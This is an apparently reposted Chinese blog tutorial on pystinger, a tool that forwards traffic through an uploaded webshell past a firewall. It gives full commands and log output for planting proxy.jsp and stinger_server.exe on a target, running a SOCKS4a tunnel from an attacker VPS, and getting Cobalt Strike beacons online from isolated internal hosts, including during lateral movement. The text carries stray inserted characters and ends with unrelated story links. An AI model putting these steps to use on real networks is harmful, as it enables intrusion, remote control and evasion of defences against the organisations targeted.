Pystinger - 使用Webshell繞過(guò)防火墻進(jìn)行流量轉(zhuǎn)發(fā)

文章來(lái)源：?Khan安全攻防實(shí)驗(yàn)室

pystinger通過(guò)webshell實(shí)現(xiàn)內(nèi)網(wǎng)SOCK4代理,端口映射夫嗓，可直接用于metasploit-framework,viper,cobalt strike上線。

????????主體使用python開(kāi)發(fā),當(dāng)前支持php,jsp(x),aspx三種代理腳本锰悼。

????假設(shè)不出網(wǎng)服務(wù)器域名為?http://example.com:8080?,服務(wù)器內(nèi)網(wǎng)IP地址為192.168.3.11

1 . SOCK4代理

proxy.jsp上傳到目標(biāo)服務(wù)器,確保?http://example.com:8080/proxy.jsp?可以訪問(wèn),頁(yè)面返回UTF-8

將stinger_server.exe上傳到目標(biāo)服務(wù)器,蟻劍/冰蝎執(zhí)行start D:/XXX/stinger_server.exe啟動(dòng)服務(wù)端

不要直接運(yùn)行D:/XXX/stinger_server.exe,會(huì)導(dǎo)致tcp斷連

vps執(zhí)行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000

如下輸出表示成功

root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 600002020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...2020-01-06 21:12:47,674 - INFO - 622 - Local listencheckpass2020-01-0621:12:47,674- INFO -623- Socks4aon127.0.0.1:600002020-01-0621:12:47,674- INFO -628- WEBSHELL checking ...2020-01-0621:12:47,681- INFO -631- WEBSHELLcheckpass2020-01-0621:12:47,681- INFO -632-http://example.com:8080/proxy.jsp2020-01-0621:12:47,682- INFO -637- REMOTE_SERVER checking ...2020-01-0621:12:47,696- INFO -644- REMOTE_SERVERcheckpass2020-01-0621:12:47,696- INFO -645---- Sever Config ---2020-01-0621:12:47,696- INFO -647- client_address_list => []2020-01-0621:12:47,696- INFO -647- SERVER_LISTEN =>127.0.0.1:600102020-01-0621:12:47,696- INFO -647- LOG_LEVEL => INFO2020-01-0621:12:47,697- INFO -647- MIRROR_LISTEN =>127.0.0.1:600202020-01-0621:12:47,697- INFO -647- mirror_address_list => []2020-01-0621:12:47,697- INFO -647- READ_BUFF_SIZE =>512002020-01-0621:12:47,697- INFO -673- TARGET_ADDRESS :127.0.0.1:600202020-01-0621:12:47,697- INFO -677- SLEEP_TIME :0.012020-01-0621:12:47,697- INFO -679---- RAT Config ---2020-01-0621:12:47,697- INFO -681-Handler/LISTEN should listenon127.0.0.1:600202020-01-0621:12:47,697- INFO -683- Payload shouldconnectto127.0.0.1:600202020-01-0621:12:47,698-WARNING-111- LoopThreadstart2020-01-0621:12:47,703-WARNING-502- socks4aserverstarton127.0.0.1:600002020-01-0621:12:47,703-WARNING-509- Socks4a readytoaccept

此時(shí)已經(jīng)在vps127.0.0.1:60000啟動(dòng)了一個(gè)example.com所在內(nèi)網(wǎng)的socks4a代理

此時(shí)已經(jīng)將目標(biāo)服務(wù)器的127.0.0.1:60020映射到vps的127.0.0.1:60020

2 . cobalt strike單主機(jī)上線

proxy.jsp上傳到目標(biāo)服務(wù)器,確保?http://example.com:8080/proxy.jsp?可以訪問(wèn),頁(yè)面返回UTF-8

將stinger_server.exe上傳到目標(biāo)服務(wù)器,蟻劍/冰蝎執(zhí)行start D:/XXX/stinger_server.exe啟動(dòng)服務(wù)端

不要直接運(yùn)行D:/XXX/stinger_server.exe,會(huì)導(dǎo)致tcp斷連

stinger_client命令行執(zhí)行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000

如下輸出表示成功

cobalt strike添加監(jiān)聽(tīng),端口選擇輸出信息RAT Config中的Handler/LISTEN中的端口(通常為60020),beacons為127.0.0.1

生成payload,上傳到主機(jī)運(yùn)行后即可上線

3 . cobalt strike多主機(jī)上線

proxy.jsp上傳到目標(biāo)服務(wù)器,確保?http://example.com:8080/proxy.jsp?可以訪問(wèn),頁(yè)面返回UTF-8

將stinger_server.exe上傳到目標(biāo)服務(wù)器,蟻劍/冰蝎執(zhí)行start D:/XXX/stinger_server.exe 192.168.3.11啟動(dòng)服務(wù)端

192.168.3.11可以改成0.0.0.0

stinger_client命令行執(zhí)行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000

如下輸出表示成功

root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 600002020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...2020-01-06 21:12:47,674 - INFO - 622 - Local listencheckpass2020-01-0621:12:47,674- INFO -623- Socks4aon127.0.0.1:600002020-01-0621:12:47,674- INFO -628- WEBSHELL checking ...2020-01-0621:12:47,681- INFO -631- WEBSHELLcheckpass2020-01-0621:12:47,681- INFO -632-http://example.com:8080/proxy.jsp2020-01-0621:12:47,682- INFO -637- REMOTE_SERVER checking ...2020-01-0621:12:47,696- INFO -644- REMOTE_SERVERcheckpass2020-01-0621:12:47,696- INFO -645---- Sever Config ---2020-01-0621:12:47,696- INFO -647- client_address_list => []2020-01-0621:12:47,696- INFO -647- SERVER_LISTEN =>127.0.0.1:600102020-01-0621:12:47,696- INFO -647- LOG_LEVEL => INFO2020-01-0621:12:47,697- INFO -647- MIRROR_LISTEN =>192.168.3.11:600202020-01-0621:12:47,697- INFO -647- mirror_address_list => []2020-01-0621:12:47,697- INFO -647- READ_BUFF_SIZE =>512002020-01-0621:12:47,697- INFO -673- TARGET_ADDRESS :127.0.0.1:600202020-01-0621:12:47,697- INFO -677- SLEEP_TIME :0.012020-01-0621:12:47,697- INFO -679---- RAT Config ---2020-01-0621:12:47,697- INFO -681-Handler/LISTEN should listenon127.0.0.1:600202020-01-0621:12:47,697- INFO -683- Payload shouldconnectto192.168.3.11:600202020-01-0621:12:47,698-WARNING-111- LoopThreadstart2020-01-0621:12:47,703-WARNING-502- socks4aserverstarton127.0.0.1:600002020-01-0621:12:47,703-WARNING-509- Socks4a readytoaccept

cobalt strike添加監(jiān)聽(tīng),端口選擇RAT Config中的Handler/LISTEN中的端口(通常為60020),beacons為192.168.3.11(example.com的內(nèi)網(wǎng)IP地址)

生成payload,上傳到主機(jī)運(yùn)行后即可上線

橫向移動(dòng)到其他主機(jī)時(shí)可以將payload指向192.168.3.11:60020即可實(shí)現(xiàn)出網(wǎng)上線

4 . 定制Header及proxy

如果webshell需要配置Cookie或者Authorization,可通過(guò)--header參數(shù)配置請(qǐng)求頭

--header "Authorization: XXXXXX,Cookie: XXXXX"

如果webshell需要通過(guò)代理訪問(wèn),可通過(guò)--proxy設(shè)置代理

--proxy "socks5:127.0.0.1:1081"

stinger_server\stinger_client

windows

linux

proxy.jsp(x)/php/aspx

php7.2

tomcat7.0

iis8.0

項(xiàng)目地址：

https://github.com/FunnyWolf/pystinger/releases/tag/v1.6

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者

人面猴
序言：七十年代末，一起剝皮案震驚了整個(gè)濱河市占业，隨后出現(xiàn)的幾起案子，更是在濱河造成了極大的恐慌称近，老刑警劉巖，帶你破解...
沈念sama閱讀 219,539評(píng)論 6贊 508
死咒
序言：濱河連續(xù)發(fā)生了三起死亡事件哮塞，死亡現(xiàn)場(chǎng)離奇詭異刨秆，居然都是意外死亡，警方通過(guò)查閱死者的電腦和手機(jī)忆畅，發(fā)現(xiàn)死者居然都...
沈念sama閱讀 93,594評(píng)論 3贊 396
救了他兩次的神仙讓他今天三更去死
文/潘曉璐我一進(jìn)店門(mén)衡未，熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)，“玉大人家凯，你說(shuō)我怎么就攤上這事缓醋。” “怎么了绊诲？”我有些...
開(kāi)封第一講書(shū)人閱讀 165,871評(píng)論 0贊 356
道士緝兇錄：失蹤的賣(mài)姜人
文/不壞的土叔我叫張陵送粱，是天一觀的道長(zhǎng)。經(jīng)常有香客問(wèn)我掂之，道長(zhǎng)抗俄，這世上最難降的妖魔是什么？我笑而不...
開(kāi)封第一講書(shū)人閱讀 58,963評(píng)論 1贊 295
?港島之戀（遺憾婚禮）
正文為了忘掉前任世舰，我火速辦了婚禮动雹，結(jié)果婚禮上，老公的妹妹穿的比我還像新娘冯乘。我一直安慰自己洽胶，他們只是感情好，可當(dāng)我...
茶點(diǎn)故事閱讀 67,984評(píng)論 6贊 393
惡毒庶女頂嫁案：這布局不是一般人想出來(lái)的
文/花漫我一把揭開(kāi)白布裆馒。她就那樣靜靜地躺著姊氓，像睡著了一般。火紅的嫁衣襯著肌膚如雪喷好。梳的紋絲不亂的頭發(fā)上翔横，一...
開(kāi)封第一講書(shū)人閱讀 51,763評(píng)論 1贊 307
城市分裂傳說(shuō)
那天，我揣著相機(jī)與錄音梗搅，去河邊找鬼禾唁。笑死，一個(gè)胖子當(dāng)著我的面吹牛无切，可吹牛的內(nèi)容都是我干的荡短。我是一名探鬼主播，決...
沈念sama閱讀 40,468評(píng)論 3贊 420
雙鴛鴦連環(huán)套：你想象不到人心有多黑
文/蒼蘭香墨我猛地睜開(kāi)眼哆键，長(zhǎng)吁一口氣：“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼掘托！你這毒婦竟也來(lái)了？” 一聲冷哼從身側(cè)響起籍嘹，我...
開(kāi)封第一講書(shū)人閱讀 39,357評(píng)論 0贊 276
萬(wàn)榮殺人案實(shí)錄
序言：老撾萬(wàn)榮一對(duì)情侶失蹤闪盔，失蹤者是張志新（化名）和其女友劉穎弯院，沒(méi)想到半個(gè)月后，有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體泪掀，經(jīng)...
沈念sama閱讀 45,850評(píng)論 1贊 317
?護(hù)林員之死
正文獨(dú)居荒郊野嶺守林人離奇死亡听绳，尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛以下內(nèi)容為張勛視角年9月15日...
茶點(diǎn)故事閱讀 38,002評(píng)論 3贊 338
?白月光啟示錄
正文我和宋清朗相戀三年，在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了异赫。大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片椅挣。...
茶點(diǎn)故事閱讀 40,144評(píng)論 1贊 351
活死人
序言：一個(gè)原本活蹦亂跳的男人離奇死亡，死狀恐怖祝辣，靈堂內(nèi)的尸體忽然破棺而出贴妻，到底是詐尸還是另有隱情，我是刑警寧澤蝙斜，帶...
沈念sama閱讀 35,823評(píng)論 5贊 346
?日本核電站爆炸內(nèi)幕
正文年R本政府宣布，位于F島的核電站澎胡，受9級(jí)特大地震影響孕荠，放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜攻谁，卻給世界環(huán)境...
茶點(diǎn)故事閱讀 41,483評(píng)論 3贊 331
男人毒藥：我在死后第九天來(lái)索命
文/蒙蒙一稚伍、第九天我趴在偏房一處隱蔽的房頂上張望。院中可真熱鬧戚宦，春花似錦个曙、人聲如沸。這莊子的主人今日做“春日...
開(kāi)封第一講書(shū)人閱讀 32,026評(píng)論 0贊 22
一樁弒父案垦搬，背后竟有這般陰謀
文/蒼蘭香墨我抬頭看了看天上的太陽(yáng)。三九已至艳汽，卻和暖如春猴贰，著一層夾襖步出監(jiān)牢的瞬間，已是汗流浹背河狐。一陣腳步聲響...
開(kāi)封第一講書(shū)人閱讀 33,150評(píng)論 1贊 272
情欲美人皮
我被黑心中介騙來(lái)泰國(guó)打工米绕，沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留，地道東北人馋艺。一個(gè)月前我還...
沈念sama閱讀 48,415評(píng)論 3贊 373
代替公主和親
正文我出身青樓栅干，卻偏偏與公主長(zhǎng)得像，于是被迫代替她去往敵國(guó)和親捐祠。傳聞我的和親對(duì)象是個(gè)殘疾皇子碱鳞，可洞房花燭夜當(dāng)晚...
茶點(diǎn)故事閱讀 45,092評(píng)論 2贊 355

Pystinger - 使用Webshell繞過(guò)防火墻進(jìn)行流量轉(zhuǎn)發(fā)

推薦閱讀更多精彩內(nèi)容